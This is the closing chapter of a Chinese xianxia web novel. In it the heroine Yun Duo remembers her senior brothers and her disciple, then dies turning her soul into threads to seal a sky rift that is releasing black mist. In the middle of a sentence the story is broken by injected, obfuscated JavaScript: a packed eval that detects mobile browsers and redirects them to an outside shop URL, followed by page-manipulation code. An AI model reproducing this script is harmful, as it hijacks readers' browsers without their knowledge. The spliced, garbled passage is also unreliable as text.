“好了,我先带师妹去她以后的住处,你们各自去忙吧。” 云朵的住处实际上跟三位师兄在同一个院子里,推开门,屋里虽然空,但打扫得非常干净,暖暖的阳光透过窗口洒进来,染了一地金黄。 云怀清从柜子里抱出来一床被褥,在床上铺好,又取出一个枕头,放在床头。 “以后你就住在这里吧,有什么需要的东西尽管告诉我们,不用不好意思。” 云朵乖乖点头:“好的,大师兄。” 云怀清抬手摸了摸她的头,无奈笑道:“不用这么拘束,浮云宗的大家都是很好的人,等你熟悉了就知道了。” 云朵不知道说什么,只好继续点头,双眼一动不动地盯着云怀清。 云怀清从她的眼中读出了名为好奇的情绪,遂问道:“你有什么想问的吗?” 云朵眨了眨眼,问道:“大师兄,二师兄和三师兄都有两个字的名字,为什么你没有啊?” 云怀清愣了一下,随后笑着解释:“我也有,我本名云岫,字怀清,只不过我们习惯以字相称。” 云朵听见云怀清的本名后,露出了十分震惊的表情:“大师兄不是男孩子吗?为什么会取‘云秀’这种女孩名啊?” 云怀清:“……” 云怀清扶额。 那大概是她大师兄第一次直面云朵清奇的脑回路。 那时候的云怀清还不像之后那样忙碌,还有时间经常找他们聊天,检查他们的课业。 有一次,云怀清来到摔云坪时,云朵恰好在练剑。云怀清难得手痒,跟小师妹过了几招——当然,最多也就出了三分力。 云朵在发现自己拼尽全力也敌不过放水放出天际的云怀清后,耍赖一般地往树底下一坐,哼哼唧唧地叫唤着累,说什么也不起来了。 云怀清也不恼,而是撩起衣摆,在云朵旁边坐下,陪着她一起望着天空发呆。 云朵突然问:“大师兄,你当初为什么想要修仙?” 云怀清想了想,答道:“我想变强,想要守护浮云宗。” 云朵:“那要变得多强,才能守护浮云宗呀?” 云怀清:“大概得像师尊一样强吧。” 提到师尊,云朵扁了扁嘴,嘟囔着:“说起来,师尊什么时候才能出关呀?我还没见过他呢。” 云怀清顿了一下,低声安慰道:“修仙者寿元漫长,你总有一天能见到的。” 现在想来,其实大师兄那时候在说谎吧。她第一次见师尊,就是在安魂殿中见到了他已经熄灭的本命魂灯,或许早在她进入浮云宗时,师尊就已经陨落了。 大师兄为了稳定宗门内的人心,硬是将这件事瞒了下来,自己扛起了宗主的职责,维持着宗门的正常运转。 毫无疑问,他就是浮云宗的守护者。 脑海中的画面一转,面前的脸变成了长生的。他坐在篝火旁,啃着手里的烤鱼,嘴边一圈沾上了油,在火光下衬得亮晶晶的。 云朵听见自己的声音在问他:“长生啊,你为什么想修仙啊?” 长生把烤鱼从嘴边一开,一脸疑惑:“……不是师父你说,想要跟着你,就得修炼吗?” 云朵:“……” 云朵:“好吧,那我换个问题,你修炼大成之后,想做什么?” 长生毫不犹豫地答道:“我要当大侠,匡扶正义,惩奸除恶,守护苍生!” 云朵又问:“你知道要实现你这个宏大的目标,需要修炼到什么境界吗?” 长生挠了挠头,不确定道:“嗯……像师父一样?” 云朵竖起手指,摇了摇:“那可不止,我也就是个刚刚能自保的水平。” 长生:“那……要像老大那么厉害?” 云朵摸着下巴道:“这个稍微靠谱点,不过武力也只是其中一部分,更重要的是觉悟。” 长生:“什么觉悟?” 云朵:“愿意为了别人,为了你心中坚守的道,牺牲自己的觉悟。” 长生摇头:“我不知道……” 云朵:“没关系,你还是个小孩呢,天塌下来也不会让你顶着的。” 长生低下头,小声嘀咕:“我不小了……” 云朵笑了笑,没说话。 小孩子似乎总是急于证明自己已经长大了,可真正变成大人后,又总是怀念以前无忧无虑的日子。 “师妹,你以后有什么人生目标啊?”季来之坐在树杈上,垂眼问靠着树干啃果子的云朵。 云朵擦擦嘴,抬起脸,一脸懵地答道:“啊?什么目标?” 季来之:“哎呀,就是等有一天你变得很厉害之后,有什么想做的?” 云朵疑惑道:“一定要干点什么吗?就像现在一样不好吗?” 季来之:“当然可以了,我就是这么想的!大师兄和二师兄这么厉害,有他们在,就没有搞不定的问题,我们就负责享受生活就好了!” 云朵白了他一眼,斥道:“好的,这句话我记下了,下次你再惹我我就告诉二师兄,看你要被罚加练几个时辰。” 季来之慌道:“哎别别别——!咱俩不是统一战线的吗?你怎么能出卖你的三师兄啊?!” …… “快跑!黑雾要来了!” 云朵还沉浸在回忆中,就被一阵呼喊声拉回了现实。 她抬眼,见迎面跑来一群人,男女老少皆有。他们嘴里胡乱喊着些不成句的话,她只能听出“黑雾”、“快跑”、“死定了”这些内容。 眼瞅着就要撞上了,云朵往侧面一闪身,避开了慌不择路的人群,在其中看到几个有些眼熟的面孔。 这不是颂祷派的那些人吗? 云朵疑惑地朝他们来的方向看去,这一看,她心里也咯噔一下。 神木的树冠相比昨天,变得更黑了,那黑色甚至以肉眼可见的速度在向下扩散。 黑雾的泄漏加快了! 来不及多想,云朵御剑直接往神木的方向冲去,离得越近,越能感受到黑雾带来的不祥的压迫感。 神木周围覆盖着一层淡蓝色的法阵,林星遥设下的结界在黑雾的冲击之下发出令人牙酸的吱呀声。 不行,再这样下去,结界支撑不了多久。结界一旦破了,整个栖云镇——人类最后的家园,就会沦陷! 必须得想办法! 云朵擦了擦额头上淌下来的冷汗,强迫自己冷静下来。 只要天上的空洞还在,黑雾就很难真正消失。只有切断它们的来源,人们才能迎来真正的希望。 如果有什么东西,能够一直将这个裂隙缝住,那就能坚持得久一些,或许能比二百年更久。久到能让驱雾队驱散最后一片黑雾,或者久到让世人搞清楚黑雾究竟是什么,如何才能消灭它。 但是,他们之前已经尝试了太多次,法阵、神木,每一种方法都只能坚持有限的时间。 如果有什么方法,能够一劳永逸…… 她灵光一闪,自己不就是一个拥有长生能力的人吗?如果她能把自己做成线,缝补这个裂隙,那是不是就能一劳永逸了? 但是,把自己炼化成丝线, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062217|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听上去很疼…… 云朵压下心中的恐惧和不安,催动灵力,让盈盈剑带她直接冲进神木的枝叶。越是往上,黑雾的浓度越浓,像翻滚不息的黑云,横亘在天空与大地之间。 为了不让黑雾侵蚀自己,云朵将一层薄薄的灵力覆盖在身体表面,在伸手不见五指的黑雾中不断地向上,向上。 终于,她来到了一切的源头。巨大的裂口挂在天上,还在源源不断地向外吐着黑雾。它开启了人间长达二百年的噩梦,更是像一把时刻选在所有人头顶的利刃,不知何时就会落下,为人间带来毁灭。 云朵直面着巨洞,觉得自己在它面前渺小如尘埃,黑雾和死亡带来的压迫感让她想要后退,但她的身后就是栖云镇,是浮云宗,是人类最后的家园。 无论是她,还是他们,都已经退无可退。 她缓缓闭上了双眼,催动灵力。 全身的经脉霎时间被剧痛盈满,她的灵力在撕扯她的□□和灵魂。她感觉自己变成了一卷线轴,正在被一寸寸、一缕缕地强行剥离。 好疼啊。 太疼了。 但是绝对不能停下! 痛到恍惚时,她的耳边又响起了季来之的声音。 “等有一天你变得很厉害之后,有什么想做的?” 我不知道现在的我算不算很厉害,我好像什么都没有做好。 作为浮云宗最后的内门弟子,没能从师兄们手中接过宗主的责任。 稀里糊涂地收了个徒弟,但也没教会他太多东西,也没能护着他长大。 外出游历了许久,也没有找到什么办法。 就连现在做的这一切,我也不知道是不是真的有意义。 可我总得试一试,这是只有我能做到的事,就算我选择的道路是错的,至少能帮后来人排除一种错误方法。 每一寸魂丝的抽离,都像是将灵魂最敏感的神经活生生扯断。云朵的身体在黑雾中剧烈地颤抖,却连惨叫声都发不出,脸上的血色瞬间褪尽。 无数道纤细的光流,从她周身百窍丝丝缕缕地流淌出来,如同被无形的神针牵引着,流淌向漆黑的空洞。 银蓝色的丝线触及空洞的天幕,发出细微的“滋滋”声。魂丝所过之处,破碎的天空被逐渐缝补,残缺逐渐弥合。云朵仿佛一位织女,以自身的血肉和魂髓为线,以破碎的苍穹为布,小心翼翼地缝补着。 空洞在缩小,弥漫在周围的黑雾像是感受到了什么,疯狂地往回涌,仿佛归心似箭的远行客。短短几息之间,就有很多黑雾回到了空洞内,露出了一直被它们掩盖着的天空和树枝。 云朵的意识却越来越恍惚,渐渐地,她感受不到自己的存在了。 “师父!!!” 她好像听到了长生的声音。 是幻觉吗? 云朵低头往下看,但是巨大的消耗已经让她看不清四周的景色了。 说起来,我一直遗憾没能和师兄们好好告别,结果也没有和长生好好告别啊…… 那小孩肯定要哭鼻子了。 不过,有林公子、阮姑娘她们在,长生肯定能好好长大。 长生在画符方面很有天赋,林公子又正好是符修,跟着他修炼比跟着我更有前途。 啊,也没找到机会跟林公子说,长生很有做饭的天赋,让他给长生开个饭馆,他就不必再过穷苦日子了。 不过,长生很厉害,是金子总会发光的,不用太担心。 这么想想,好像也可以放下心来了。 …… 我死后,能跟师兄们去同一个地方吗? …… 风过无痕。 漫天的银蓝色光点,如同夏夜的萤火虫,无声无息地散入天地。 融入每一缕清风,每一片流云,成了这方天地永恒的守护者。 天空中的空洞已经愈合。 地上的长生,默默伸出手,接住了一点飘落而下、还带着余温的银蓝光点。 —全文完—